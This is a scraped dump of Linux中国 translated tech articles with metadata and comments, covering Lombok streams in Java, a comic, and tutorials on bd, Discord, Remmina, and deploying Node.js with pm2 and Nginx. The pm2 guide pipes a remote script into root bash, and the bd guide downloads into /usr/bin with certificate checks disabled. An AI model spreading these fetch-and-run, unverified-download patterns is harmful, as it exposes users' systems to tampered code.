*该表展示了使用不同版本的 Retrolambda 和 Jack 编译器生成的方法数量。该比较结果来自 Jake Wharton 的“[探索 Java 的隐藏成本](http://jakewharton.com/exploring-java-hidden-costs/)” 技术讨论之中。*
### 数据操作
Kotlin 引入了高阶函数作为流的替代。 当您必须将一组数据转换为另一组数据或过滤集合时，它们非常有用。
```
fun foo(persons: MutableList<Person>) {
persons.filter { it.age >= 21 }
.filter { it.name.startsWith("P") }
.map { it.name }
.sorted()
.forEach(::println)
}
data class Person(val name: String, val age: Int)
```
流也由 Google 通过 Jack 编译器提供。 不幸的是，Jack 不使用 Lombok，因为它在编译代码时跳过生成中间的 `.class` 文件，而 Lombok 却依赖于这些文件。
```
void foo(List<Person> persons) {
persons.stream()
.filter(it -> it.getAge() >= 21)
.filter(it -> it.getName().startsWith("P"))
.map(Person::getName)
.sorted()
.forEach(System.out::println);
}
class Person {
final private String name;
final private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
String getName() { return name; }
int getAge() { return age; }
}
```
这简直太好了，所以 catch 在哪里？ 令人悲伤的是，流从 API 24 才可用。谷歌做了好事，但哪个应用程序有用 `minSdkVersion = 24`？
幸运的是，Android 平台有一个很好的提供许多很棒的库的开源社区。Lightweight-Stream-API 就是其中的一个，它包含了 Java 7 及以下版本的基于迭代器的流实现。
```
import lombok.Data;
import com.annimon.stream.Stream;
void foo(List<Person> persons) {
Stream.of(persons)
.filter(it -> it.getAge() >= 21)
.filter(it -> it.getName().startsWith("P"))
.map(Person::getName)
.sorted()
.forEach(System.out::println);
}
@Data class Person {
final String name;
final int age;
}
```
上面的例子结合了 Lombok、Retrolambda 和 Lightweight-Stream-API，它看起来几乎和 Kotlin 一样棒。使用静态工厂方法允许您将任何 Iterable 转换为流，并对其应用 lambda，就像 Java 8 流一样。 将静态调用 `Stream.of(persons)` 包装为 Iterable 类型的扩展函数是完美的，但是 Java 不支持它。
### 扩展函数
扩展机制提供了向类添加功能而无需继承它的能力。 这个众所周知的概念非常适合 Android 世界，这就是 Kotlin 在该社区很受欢迎的原因。
有没有技术或魔术将扩展功能添加到你的 Java 工具箱？ 因 Lombok，你可以使用它们作为一个实验功能。 根据 Lombok 文档的说明，他们想把它从实验状态移出，基本上没有什么变化的话很快。 让我们重构最后一个例子，并将 `Stream.of(persons)` 包装成扩展函数。
```
import lombok.Data;
import lombok.experimental.ExtensionMethod;
@ExtensionMethod(Streams.class)
public class Foo {
void foo(List<Person> persons) {
persons.toStream()
.filter(it -> it.getAge() >= 21)
.filter(it -> it.getName().startsWith("P"))
.map(Person::getName)
.sorted()
.forEach(System.out::println);
}
}
@Data class Person {
final String name;
final int age;
}
class Streams {
static <T> Stream<T> toStream(List<T> list) {
return Stream.of(list);
}
}
```
所有的方法是 `public`、`static` 的，并且至少有一个参数的类型不是原始的，因而是扩展方法。 `@ExtensionMethod` 注解允许你指定一个包含你的扩展函数的类。 你也可以传递数组，而不是使用一个 `.class` 对象。
---
我完全知道我的一些想法是非常有争议的，特别是 Lombok，我也知道，有很多的库，可以使你的生活更轻松。请不要犹豫在评论里分享你的经验。干杯!
---
作者简介：
Coder and professional dreamer @ Grid Dynamics
---
via: <https://medium.com/proandroiddev/living-android-without-kotlin-db7391a2b170>
作者：[Piotr Ślesarew](https://hackernoon.com/@piotr.slesarew?source=post_header_lockup) 译者：[DockerChen](https://github.com/DockerChen) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
极客漫画：让你变成“机电工程师”的 Arduino 项目
|
Daniel Stori
|
https://turnoff.us/geek/arduino-project/
|
刚刚完成我的第一个 Arduino 项目：一个闪烁的 LED；
下一步：更新我的 LinkedIn 详情；
添加技能：机电工程师。
|
/data/attachment/album/201705/08/150018f5zd8ai0frpqhi5a.png.thumb.jpg
|
/data/attachment/album/201705/08/150018f5zd8ai0frpqhi5a.png.large.jpg
| false | false | true |
Bestony
| false |
[
"漫画"
] |
极客漫画
|
{
"viewnum": 5824,
"commentnum": 5,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "113.200.29.78",
"message": "和会用“审查元素”之后就说“我是黑客”的人一样滑稽",
"username": "来自陕西西安的 Chrome 60.0|GNU/Linux 用户",
"date": "2017-05-09T12:05:47"
},
{
"postip": "27.17.54.74",
"message": "滑稽",
"username": "来自湖北武汉的 Chrome 57.0|Windows 10 用户",
"date": "2017-05-09T13:43:37"
},
{
"postip": "58.213.224.242",
"message": "感觉没啥毛病啊，手动滑稽",
"username": "二次元萌控森 [Sogou Explorer 2|Windows 7]",
"date": "2017-05-09T15:21:45"
},
{
"postip": "27.223.99.130",
"message": "哈哈！这样的人到处都是啊……",
"username": "绿色圣光 [Firefox 53.0|Windows 7]",
"date": "2017-05-10T12:55:47"
},
{
"postip": "183.193.168.152",
"message": "过于真实，有的人就是这样 [捂脸] [捂脸] [捂脸] 你也没办法管他们[捂脸] [捂脸] [捂脸]",
"username": "来自上海的 Firefox 71.0|Ubuntu 用户",
"date": "2020-07-01T18:11:48"
}
] |
[] |
刚刚完成我的第一个 Arduino 项目：一个闪烁的 LED；
下一步：更新我的 LinkedIn 详情；
添加技能：机电工程师。
| 2017-05-09T09:58:00 | 2017-05-09T09:58:00 | 8,490 |
/article-8490-1.html
|
* 刚刚完成我的第一个 Arduino 项目：一个闪烁的 LED
* 下一步：更新我的 LinkedIn 详情
* 添加技能：机电工程师
这篇漫画讽刺的是一些人只是接触了某个领域的很浅显的知识，就急急忙忙的为自己加上相应的头衔，却没有考虑自己所掌握的东西，在整个领域内所处的位置。
---
via: <https://turnoff.us/geek/arduino-project/>
作者：[Daniel Stori](http://turnoff.us/about/) 译者&点评：[Bestony](https://github.com/Bestony) 校对：[wxy](https://github.com/wxy) 合成：[GHLandy](https://github.com/GHLandy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
bd：快速返回某级父目录而不用冗余地输入 “cd ../../..”
|
Aaron Kili
|
http://www.tecmint.com/bd-quickly-go-back-to-a-linux-parent-directory/
|
在 Linux 系统上通过命令行切换文件夹时，为了回到父目录（长路径），我们通常会重复输入 cd 命令（cd ../../..），直到进入感兴趣的目录。
|
/data/attachment/album/201705/08/153346wwww562rcsl2cocm.jpg.thumb.jpg
|
/data/attachment/album/201705/08/153346wwww562rcsl2cocm.jpg
| true | false | true |
geekpi
| false |
[
"目录",
"导航"
] |
技术
|
{
"viewnum": 14458,
"commentnum": 7,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "117.80.159.231",
"message": "自己玩玩还可以嘛，线上的话可能会卷铺盖回家吧",
"username": "hrj294055233 [Firefox 53.0|Ubuntu]",
"date": "2017-05-10T09:22:09"
},
{
"postip": "118.122.120.11",
"message": "其实一般用 cd - 和 pushd $PWD ，就足够了。",
"username": "来自四川成都的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-10T09:34:34"
},
{
"postip": "112.97.60.196",
"message": "看起来很方便，不过我很少去到这么深的目录。",
"username": "泽楠弟弟 [Safari 10.1|Mac 10.12]",
"date": "2017-05-10T16:36:04"
},
{
"postip": "218.18.222.189",
"message": "实用性感觉不高。。。。。",
"username": "hello_linux [Chrome 51.0|Windows 7]",
"date": "2017-05-14T15:53:57"
},
{
"postip": "58.243.250.135",
"message": "还是习惯用mc。",
"username": "来自安徽合肥的 Firefox 53.0|GNU/Linux 用户",
"date": "2017-05-23T00:08:43"
},
{
"postip": "1.70.40.236",
"message": "echo 'alias bd=". bd -si" >> ~/.bashrc<br />\r\n<br />\r\n少个引号",
"username": "来自山西的 Firefox 45.0|GNU/Linux 用户",
"date": "2017-05-30T21:00:35"
},
{
"postip": "125.33.106.246",
"message": "谢谢！已更正！",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-05-31T16:22:22"
}
] |
[
{
"raid": 3422,
"displayorder": 0
},
{
"raid": 5983,
"displayorder": 1
}
] |
在 Linux 系统上通过命令行切换文件夹时，为了回到父目录（长路径），我们通常会重复输入 cd 命令（cd ../../..），直到进入感兴趣的目录。
| 2017-05-10T08:25:00 | 2017-05-10T08:25:00 | 8,491 |
/article-8491-1.html
|
在 Linux 系统上通过命令行切换文件夹时，为了回到父目录（长路径），我们通常会重复输入 [cd 命令](http://www.tecmint.com/cd-command-in-linux/)（`cd ../../..`），直到进入感兴趣的目录。
对于经验丰富的 Linux 用户或需要进行各种不同任务的系统管理员而言，这可能非常乏味，因此希望在操作系统时有一个快捷方式来简化工作。
**建议阅读：** [Autojump - 一个快速浏览 Linux 文件系统的高级 “cd” 命令](/article-5983-1.html)
在本文中，我们将在 bd 工具的帮助下，用这个简单而有用的工具快速回到 Linux 中的父目录。
bd 是用于切换文件夹的便利工具，它可以使你快速返回到父目录，而不必重复键入 `cd ../../..` 。 你可以可靠地将其与其他 Linux 命令组合以执行几个日常操作。
### 如何在 Linux 中安装 bd
运行下面的命令，使用 [wget 命令](http://www.tecmint.com/10-wget-command-examples-in-linux/)下载并安装 bd 到 `/usr/bin/` 中，添加执行权限，并在 `~/.bashrc` 中创建需要的别名：
```
$ wget --no-check-certificate -O /usr/bin/bd https://raw.github.com/vigneshwaranr/bd/master/bd
$ chmod +rx /usr/bin/bd
$ echo 'alias bd=". bd -si"' >> ~/.bashrc
$ source ~/.bashrc
```
注意：如果要启用大小写敏感的目录名匹配，请在上面创建的别名中，设置 `-s` 标志而不是 `-si` 标志。
要启用自动补全支持，运行这些命令：
```
$ sudo wget -O /etc/bash_completion.d/bd https://raw.github.com/vigneshwaranr/bd/master/bash_completion.d/bd
$ sudo source /etc/bash_completion.d/bd
```
#### 如何在 Linux 中使用 bd
假设你目前在这个路径的顶层目录：
```
/media/aaronkilik/Data/Computer Science/Documents/Books/LEARN/Linux/Books/server $
```
你想要快速进入 “Documents” 目录，只要输入：
```
$ bd Documents
```
接着直接进入到 Data 目录，你可以输入：
```
$ bd Data
```
*目录间快速切换*
实际上，bd 让它变得更加直接，你要做的是输入 “bd <开头几个字母>”，比如：
```
$ bd Doc
$ bd Da
```
*快速切换目录*
重要：如果层次结构中有不止一个具有相同名称的目录，bd 将会移动到最接近的目录，而不考虑最近的父目录，如下面的例子那样。
例如，在上面的路径中，有两个名称相同的目录 Books，如果你想移动到：
```
/media/aaronkilik/Data/ComputerScience/Documents/Books/LEARN/Linux/Books
```
输入 `bd Books` 会进入：
```
/media/aaronkilik/Data/ComputerScience/Documents/Books
```
*快速进入 ‘Books’ 目录*
另外，在反引号````中使用 bd 如 ``bd <开头几个字母>`` 会打印出路径而不更改当前目录，所以你可以与其他常见的 Linux 命令，如 [ls](http://www.tecmint.com/tag/linux-ls-command/)，[echo](http://www.tecmint.com/echo-command-in-linux/) 等一起使用 ``bd <开头几个字母>`` 。
在下面的例子中，当前在 `/var/www/html/internship/assets/filetree` 目录中，要打印出绝对路径、详细列出内容、统计目录 html 中所有文件的大小，你不必进入它，只需要键入：
```
$ echo `bd ht`
$ ls -l `bd ht`
$ du -cs `bd ht`
```
*列出切换的目录*
要在 Github 上了解更多关于 bd 的信息：<https://github.com/vigneshwaranr/bd>
就是这样了！在本文中，我们展示了使用 bd 程序[在 Linux 中快速切换文件夹](/article-5983-1.html)的便捷方法。
通过下面的反馈栏单发表你的看法。此外，你还知道其他类似的工具么，在评论中让我们知道。
---
作者简介：
Aaron Kili是一名 Linux 和 F.O.S.S 的爱好者，未来的 Linux 系统管理员、网站开发人员，目前是 TecMint 的内容创作者，他喜欢用电脑工作，并乐于分享知识。
---
via: <http://www.tecmint.com/bd-quickly-go-back-to-a-linux-parent-directory/>
作者：[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何在 Ubuntu 中安装语音聊天工具 Discord
|
Nick Congleton
|
https://www.maketecheasier.com/install-discord-ubuntu/
|
Discord 是一个非常受欢迎的文字和语音聊天程序。虽然开始时主要面向游戏玩家，但它几乎获得了所有人的了广泛青睐。
|
/data/attachment/album/201705/09/084319dz6kiwn6mjh9ngw4.jpg.thumb.jpg
|
/data/attachment/album/201705/09/084319dz6kiwn6mjh9ngw4.jpg
| true | false | true |
geekpi
| false |
[
"Discord",
"聊天"
] |
分享
|
{
"viewnum": 9198,
"commentnum": 1,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "183.12.86.56",
"message": "no friend no use",
"username": "来自广东深圳的 Chrome 58.0|Fedora 用户",
"date": "2017-05-13T00:06:11"
}
] |
[] |
Discord 是一个非常受欢迎的文字和语音聊天程序。虽然开始时主要面向游戏玩家，但它几乎获得了所有人的了广泛青睐。
| 2017-05-09T08:43:17 | 2017-05-09T08:43:17 | 8,492 |
/article-8492-1.html
|
Discord 是一个非常受欢迎的文字和语音聊天程序。虽然开始时主要面向游戏玩家，但它几乎获得了所有人的了广泛青睐。
Discord 不仅仅是一个很好的聊天客户端。当你安装它时，你还可以获得其强大的服务端功能，强力而自足。游戏玩家和非玩家都可以在几分钟内开启自己的私人聊天服务，这使 Discord 成为团队、公会和各种社区的明显选择。
Linux 用户经常被游戏世界遗忘。但 Discord 并不是这样。它的开发人员也在 Linux 下积极构建并维护其流行聊天平台。Ubuntu 用户甚至拥有更好的待遇，Discord 捆绑在方便的 Debian/Ubuntu .deb 包中。
### 获取并安装软件包
有几种方法在 Ubuntu 下获取 Discord。你可以都看一下，并选择一个你喜欢的。
### 依赖
在 Discord 的下载页面上没有什么关于依赖的内容，但是在 Ubuntu 上安装之前，你需要安装一些依赖。没什么大不了的。打开你的终端，并输入以下命令以获得所需内容：
```
sudo apt install libgconf-2-4 libappindicator1
```
### 图形化安装
图形化安装会耗时长一点，但是这对 Linux 新手而言更简单。
首先进入 Discord 的[网站](https://discordapp.com/download)。该网站应该能自动检测到你正在运行的 Linux，并在页面正中建议正确的包。
如果没有，只需向下滚动一下。页面的下一部分会显示其他可用的下载，而 Linux 包就在那里。
找到 Linux 的下载链接后，请检查是否选择了 “deb”，然后单击 “Download” 按钮。
浏览器会询问你想要用 Ubuntu 软件安装器打开或者下载文件。你可以选择任意一个，但是自动用软件安装器打开会更快。
下载很快，所以安装程序会立即打开，并允许你安装新下载的软件包。这是一个非常简单的窗口，没有漂亮的图标或很多描述性的文本，所以不要犹豫。这是正常的。单击 “Install” 开始安装。
安装过程不会耗费太长时间。之后，Discord 就可以使用了。
### 命令行安装
“懒惰”的 Linux 熟手并不在意花哨的 GUI 工具。如果你是这个阵营的人，那么你有一个更直接的命令行选项。
首先，打开一个终端并进入你的下载目录。在那里可以使用 `wget` 直接下载 .deb 包。
```
cd ~/Downloads
wget -O discord-0.0.1.deb https://discordapp.com/api/download?platform=linux&format=deb
```
下载完成后，你可以使用 `dpkg` 直接安装 .deb 软件包。运行下面的命令：
```
sudo dpkg -i discord-0.0.1.deb
```
### 测试一下
现在你可以打开软件启动器并搜索 Discord。单击图标运行。
首次启动，根据你需求，创建一个帐户或者登录。
登录后，你就进入 Discord 了。它会提供一些介绍教程和建议。你可以直接略过并开始尝试。欢迎进入你新的 Linux 聊天体验！
---
via: <https://www.maketecheasier.com/install-discord-ubuntu/>
作者：[Nick Congleton](https://www.maketecheasier.com/author/nickcongleton/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Remmina：一个 Linux 下功能丰富的远程桌面共享工具
|
Aaron Kili
|
http://www.tecmint.com/remmina-remote-desktop-sharing-and-ssh-client/
|
Remmina 是一款在 Linux 和其他类 Unix 系统下的自由开源、功能丰富、强大的远程桌面客户端，它用 GTK+ 3 编写而成。它适用于那些需要远程访问及使用许多计算机的系统管理员和在外出行人员。
|
/data/attachment/album/201705/09/091338hhuhq1pu6quvfdat.jpg.thumb.jpg
|
/data/attachment/album/201705/09/091338hhuhq1pu6quvfdat.jpg
| true | false | true |
geekpi
| false |
[
"Remmina",
"远程桌面共享"
] |
分享
|
{
"viewnum": 58052,
"commentnum": 3,
"favtimes": 4,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "111.20.112.126",
"message": "错的系统软件，插件继续丰富，最终会比SecureCRT好用一点点。",
"username": "来自陕西西安的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-10T20:10:13"
},
{
"postip": "116.31.81.182",
"message": "secureCRT不是远程桌面软件啊，跟remmina根本没有可比性啊",
"username": "来自广东广州的 Firefox 53.0|Ubuntu 用户",
"date": "2017-05-11T09:16:48"
},
{
"postip": "116.6.205.74",
"message": "怎么使用代理呢？<br />\r\n比如我访问VNC是要经过一个代理服务器的",
"username": "来自广东广州的 Chrome 89.0|Windows 10 用户",
"date": "2021-03-25T17:21:31"
}
] |
[] |
Remmina 是一款在 Linux 和其他类 Unix 系统下的自由开源、功能丰富、强大的远程桌面客户端，它用 GTK+ 3 编写而成。它适用于那些需要远程访问及使用许多计算机的系统管理员和在外出行人员。
| 2017-05-10T09:05:00 | 2017-05-10T09:05:00 | 8,493 |
/article-8493-1.html
|
**Remmina** 是一款在 Linux 和其他类 Unix 系统下的自由开源、功能丰富、强大的远程桌面客户端，它用 GTK+ 3 编写而成。它适用于那些需要远程访问及使用许多计算机的系统管理员和在外出行人员。
它以简单、统一、同质、易用的用户界面支持多种网络协议。
### Remmina 功能
* 支持 RDP、VNC、NX、XDMCP 和 SSH。
* 用户能够以组的形式维护一份连接配置列表。
* 支持用户直接输入服务器地址的快速连接。
* 具有更高分辨率的远程桌面，可以在窗口和全屏模式下滚动/缩放。
* 支持窗口全屏模式；当鼠标移动到屏幕边缘时，远程桌面会自动滚动。
* 还支持全屏模式的浮动工具栏；使你能够在不同模式间切换、触发键盘获取、最小化等。
* 提供选项卡式界面，可以按组管理。
* 还提供托盘图标，允许你快速访问已配置的连接文件。
在本文中，我们将向你展示如何在 Linux 中安装 Remmina，以及使用它通过支持的不同协议实现桌面共享。
### 先决条件
* 在远程机器上允许桌面共享（让远程机器允许远程连接）。
* 在远程机器上设置 SSH 服务。
### 如何在 Linux 中安装 Remmina 远程共享工具
Remmina 及其插件包已经在所有主流的 Linux 发行版的大多数官方仓库中提供。运行下面的命令以安装它和所有支持的插件：
```
------------ 在 Debian/Ubuntu 中 ------------
$ sudo apt-get install remmina remmina-plugin-*
```
```
------------ 在 CentOS/RHEL 中 ------------
# yum install remmina remmina-plugin-*
```
```
------------ 在 Fedora 22+ 中 ------------
$ sudo dnf copr enable hubbitus/remmina-next
$ sudo dnf upgrade --refresh 'remmina*' 'freerdp*'
```
一旦安装完成后，在 Ubuntu 或 Linux Mint 菜单中搜索 `remmina`，接着运行它：
*Remmina 桌面共享客户端*
你可以通过图形界面或者编辑 `$HOME/.remmina` 或者 `$HOME/.config/remmina` 下的文件来进行配置。
要设置到一个新的远程服务器的连接，按下 `Ctrl+N` 并点击 **Connection -> New**，如下截图中配置远程连接。这是基本的设置界面。
*Remmina 基础桌面配置*
点击界面上的 “**Advanced**”，配置高级连接设置。
*Remmina 高级桌面设置*
要配置 **SSH**，点击界面中的 SSH。
*Remmina SSH 设置*
在完成所有的必要配置后，点击 “**Save**” 保存设置，在主界面中你会如下看到所有已配置远程连接。
*Remmina 配置的服务器*
#### 使用 sFTP 连接到远程机器
选择连接配置并编辑设置，在 “**Protocols**” 下拉菜单中选择 **sFTP - Secure File Transfer**。接着设置启动路径（可选），并指定 SSH 验证细节。最后点击**连接**。
*Remmina sftp 连接*
这里输入你的 SSH 用户密码。
*输入 SSH 密码*
如果你看到下面的界面，那么代表 sFTP 连接成功了，你现在可以[在两台机器键传输文件了](http://www.tecmint.com/sftp-upload-download-directory-in-linux/)。
*Remmina 远程 sFTP 文件系统*
#### 使用 SSH 连接到远程机器
选择连接配置并编辑设置，在 “**Protocols**” 下拉菜单中选择 **SSH - Secure Shell**，并可选设置启动程序以及 SSH 验证细节。最后点击**连接**并输入 SSH 密码。
*Remmina SSH 连接*
当你看到下面的界面，这意味着你的连接成功了，你现在可以使用 SSH 控制远程机器了。
*Remmina 远程 SSH 连接*
#### 使用 VNC 连接到远程机器
选择连接配置并编辑设置，在 “**Protocols**” 下拉菜单中选择 **VNC - Virtual Network Computing**。为该连接配置基础、高级以及 ssh 设置，点击**连接**，接着输入用户 SSH 密码。
*Remmina VNC 连接*
一旦你看到下面的界面时，这意味着你已经成功使用 VNC 协议连接到远程机器上了。
如下截图所示，在桌面登录界面输入用户登录密码。
*Remmina 远程桌面登录*
*Remmina 远程桌面共享*
使用上面的步骤可以很简单地使用其他的协议访问远程机器。
Remmina 主页： <https://www.remmina.org/wp/>
就是这样了！在本文中，我们向你展示了如何在 Linux 中安装与使用 Remmina 远程连接客户端中的几种支持的协议。你可以在下面的评论栏中分享你的任何想法。
（题图：Pixabay，CC0）
---
作者简介：
Aaron Kili 是 Linux 和 F.O.S.S 爱好者，将来的 Linux 系统管理员和网络开发人员，目前是 TecMint 的内容创作者，他喜欢用电脑工作，并坚信分享知识。
---
via: <http://www.tecmint.com/remmina-remote-desktop-sharing-and-ssh-client/>
作者：[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何在 Ubuntu 上使用 pm2 和 Nginx 部署 Node.js 应用
|
Muhammad Arul
|
https://www.howtoforge.com/tutorial/how-to-deploy-nodejs-applications-with-pm2-and-nginx-on-ubuntu/
|
pm2 是一个 Node.js 应用的进程管理器，它可以让你的应用程序保持运行，还有一个内建的负载均衡器。它非常简单而且强大，你可以零间断重启或重新加载你的 node 应用，它也允许你为你的 node 应用创建集群。
|
/data/attachment/album/201705/09/094125eoba2938fs6bbft8.jpeg.thumb.jpg
|
/data/attachment/album/201705/09/094125eoba2938fs6bbft8.jpeg
| true | false | true |
ictlyh
| false |
[
"Node.js"
] |
技术
|
{
"viewnum": 18677,
"commentnum": 3,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "58.63.47.115",
"message": "got it",
"username": "vio [Chrome 58.0|Windows 10]",
"date": "2017-05-09T10:11:01"
},
{
"postip": "111.20.112.126",
"message": "个人还是很推荐Debian Gnu/Linux",
"username": "来自陕西西安的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-09T13:24:33"
},
{
"postip": "220.198.244.41",
"message": "大喊nb 学到了",
"username": "来自广东广州的 Chrome 92.0|Windows 10 用户",
"date": "2021-07-24T01:51:29"
}
] |
[] |
pm2 是一个 Node.js 应用的进程管理器，它可以让你的应用程序保持运行，还有一个内建的负载均衡器。它非常简单而且强大，你可以零间断重启或重新加载你的 node 应用，它也允许你为你的 node 应用创建集群。
| 2017-05-09T09:41:31 | 2017-05-09T09:41:31 | 8,494 |
/article-8494-1.html
|
pm2 是一个 Node.js 应用的进程管理器，它可以让你的应用程序保持运行，还有一个内建的负载均衡器。它非常简单而且强大，你可以零间断重启或重新加载你的 node 应用，它也允许你为你的 node 应用创建集群。
在这篇博文中，我会向你展示如何安装和配置 pm2 用于这个简单的 'Express' 应用，然后配置 Nginx 作为运行在 pm2 下的 node 应用的反向代理。
前提：
* Ubuntu 16.04 - 64bit
* Root 权限
### 第一步 - 安装 Node.js LTS
在这篇指南中，我们会从零开始我们的实验。首先，我们需要在服务器上安装 Node.js。我会使用 Nodejs LTS 6.x 版本，它能从 nodesource 仓库中安装。
从 Ubuntu 仓库安装 `python-software-properties` 软件包并添加 “nodesource” Nodejs 仓库。
```
sudo apt-get install -y python-software-properties
curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash -
```
安装最新版本的 Nodejs LTS：
```
sudo apt-get install -y nodejs
```
安装完成后，查看 node 和 npm 版本。
```
node -v
npm -v
```
### 第二步 - 生成 Express 示例 App
我会使用 `express-generator` 软件包生成的简单 web 应用框架进行示例安装。`express-generator` 可以使用 `npm` 命令安装。
用 `npm`安装 `express-generator`：
```
npm install express-generator -g
```
* `-g` ： 在系统内部安装软件包。
我会以普通用户运行应用程序，而不是 root 或者超级用户。我们首先需要创建一个新的用户。
创建一个名为 `yume` 的用户：
```
useradd -m -s /bin/bash yume
passwd yume
```
使用 `su` 命令登录到新用户：
```
su - yume
```
下一步，用 `express` 命令生成一个新的简单 web 应用程序：
```
express hakase-app
```
命令会创建新项目目录 `hakase-app`。
进入到项目目录并安装应用需要的所有依赖。
```
cd hakase-app
npm install
```
然后用下面的命令测试并启动一个新的简单应用程序：
```
DEBUG=myapp:* npm start
```
默认情况下，我们的 express 应用会运行在 `3000` 端口。现在访问服务器的 IP 地址：192.168.33.10:3000 ：
这个简单 web 应用框架现在以 'yume' 用户运行在 3000 端口。
### 第三步 - 安装 pm2
pm2 是一个 node 软件包，可以使用 `npm` 命令安装。（用 root 权限，如果你仍然以 yume 用户登录，那么运行命令 `exit` 再次成为 root 用户）：
```
npm install pm2 -g
```
现在我们可以为我们的 web 应用使用 pm2 了。
进入应用目录 `hakase-app`：
```
su - yume
cd ~/hakase-app/
```
这里你可以看到一个名为 `package.json` 的文件，用 `cat` 命令显示它的内容。
```
cat package.json
```
你可以看到 `start` 行有一个 nodejs 用于启动 express 应用的命令。我们会和 pm2 进程管理器一起使用这个命令。
像下面这样使用 `pm2` 命令运行 express 应用：
```
pm2 start ./bin/www
```
现在你可以看到像下面这样的结果：
我们的 express 应用正在 `pm2` 中运行，名称为 `www`，id 为 `0`。你可以用 show 选项 `show nodeid|name` 获取更多 pm2 下运行的应用的信息。
```
pm2 show www
```
如果你想看我们应用的日志，你可以使用 logs 选项。它包括访问和错误日志，你还可以看到应用程序的 HTTP 状态。
```
pm2 logs www
```
你可以看到我们的程序正在运行。现在，让我们来让它开机自启动。
```
pm2 startup systemd
```
* `systemd`： Ubuntu 16 使用的是 systemd。
你会看到要用 root 用户运行命令的信息。使用 `exit` 命令回到 root 用户然后运行命令。
```
sudo env PATH=$PATH:/usr/bin /usr/lib/node_modules/pm2/bin/pm2 startup systemd -u yume --hp /home/yume
```
它会为启动应用程序生成 systemd 配置文件。当你重启服务器的时候，应用程序就会自动运行。
### 第四步 - 安装和配置 Nginx 作为反向代理
在这篇指南中，我们会使用 Nginx 作为 node 应用的反向代理。Ubuntu 仓库中有 Nginx，用 `apt` 命令安装它：
```
sudo apt-get install -y nginx
```
下一步，进入到 `sites-available` 目录并创建新的虚拟主机配置文件。
```
cd /etc/nginx/sites-available/
vim hakase-app
```
粘贴下面的配置：
```
upstream hakase-app {
# Nodejs app upstream
server 127.0.0.1:3000;
keepalive 64;
}
# Server on port 80
server {
listen 80;
server_name hakase-node.co;
root /home/yume/hakase-app;
location / {
# Proxy_pass configuration
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_set_header X-NginX-Proxy true;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_max_temp_file_size 0;
proxy_pass http://hakase-app/;
proxy_redirect off;
proxy_read_timeout 240s;
}
}
```
保存文件并退出 vim。
在配置中：
* node 应用使用域名 `hakase-node.co` 运行。
* 所有来自 nginx 的流量都会被转发到运行在 `3000` 端口的 node app。
测试 Nginx 配置确保没有错误。
```
nginx -t
```
启用 Nginx 并使其开机自启动。
```
systemctl start nginx
systemctl enable nginx
```
### 第五步 - 测试
打开你的 web 浏览器并访问域名（我的是）：[http://hakase-app.co](http://hakase-app.co/) 。
你可以看到 express 应用正在 Nginx web 服务器中运行。
下一步，重启你的服务器，确保你的 node app 能开机自启动：
```
pm2 save
sudo reboot
```
如果你再次登录到了你的服务器，检查 node app 进程。以 `yume` 用户运行下面的命令。
```
su - yume
pm2 status www
```
Node 应用在 pm2 中运行并使用 Nginx 作为反向代理。
### 链接
* [Ubuntu](https://www.ubuntu.com/)
* [Node.js](https://nodejs.org/en/)
* [Nginx](https://www.nginx.com/)
---
via: <https://www.howtoforge.com/tutorial/how-to-deploy-nodejs-applications-with-pm2-and-nginx-on-ubuntu/>
作者：[Muhammad Arul](https://www.howtoforge.com/tutorial/how-to-deploy-nodejs-applications-with-pm2-and-nginx-on-ubuntu/) 译者：[ictlyh](https://github.com/ictlyh) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
rdiff-backup：一个 Linux 中的远程增量备份工具
|
Aaron Kili
|
http://www.tecmint.com/rdiff-backup-remote-incremental-backup-for-linux/
|
rdiff-backup 是一个用于本地/远程增量备份的强大而易用的 Python 脚本，它适用于任何 POSIX 操作系统，如Linux、Mac OS X 或 Cygwin。它集合了镜像和增量备份的显著特性。
|
/data/attachment/album/201705/10/083623elb5j4llajaaq8vn.jpg.thumb.jpg
|
/data/attachment/album/201705/10/083623elb5j4llajaaq8vn.jpg
| true | false | true |
geekpi
| false |
[
"rsync",
"备份"
] |
系统运维
|
{
"viewnum": 15941,
"commentnum": 0,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
rdiff-backup 是一个用于本地/远程增量备份的强大而易用的 Python 脚本，它适用于任何 POSIX 操作系统，如Linux、Mac OS X 或 Cygwin。它集合了镜像和增量备份的显著特性。
| 2017-05-10T08:37:00 | 2017-05-10T08:37:00 | 8,496 |
/article-8496-1.html
|
